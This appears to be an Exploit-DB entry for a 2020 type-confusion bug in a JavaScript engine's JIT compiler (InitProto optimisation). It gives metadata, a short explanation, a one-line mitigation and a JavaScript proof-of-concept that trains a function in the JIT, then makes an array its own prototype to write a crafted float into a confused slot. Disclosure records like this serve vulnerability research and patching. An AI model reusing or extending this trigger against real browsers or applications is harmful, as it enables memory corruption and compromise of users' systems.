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vendor:
N/A
by:
Anonymous
7.5
CVSS
HIGH
Type Confusion
843
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

Type Confusion in JIT Compiler

If a native array is used as a prototype, it is converted to a Var array by the Js::JavascriptNativeFloatArray::SetIsPrototype method. In the JIT compiler, it uses InitProto instructions to set object literals' prototype. But when optimizing those instructions, it doesn't reset the previous array validity even it can change the type of arrays. As a result, it can lead to type confusion.

Mitigation:

Ensure that the JIT compiler is properly configured to reset the previous array validity when optimizing InitProto instructions.
Source

Exploit-DB raw data:

/*
If a native array is used as a prototype, it is converted to a Var array by the Js::JavascriptNativeFloatArray::SetIsPrototype method.

In the JIT compiler, it uses InitProto instructions to set object literals' prototype. But when optimizing those instructions, it doesn't reset the previous array validity even it can change the type of arrays. As a result, it can lead to type confusion.

Note: Expressions like "obj.__proto__" don't use InitProto instructions.
*/

function opt(arr, proto) {
    arr[0] = 1.1;
    let tmp = {__proto__: proto};
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    for (let i = 0; i < 10000; i++) {
        opt(arr, {});
    }

    opt(arr, arr);
    print(arr);

}

main();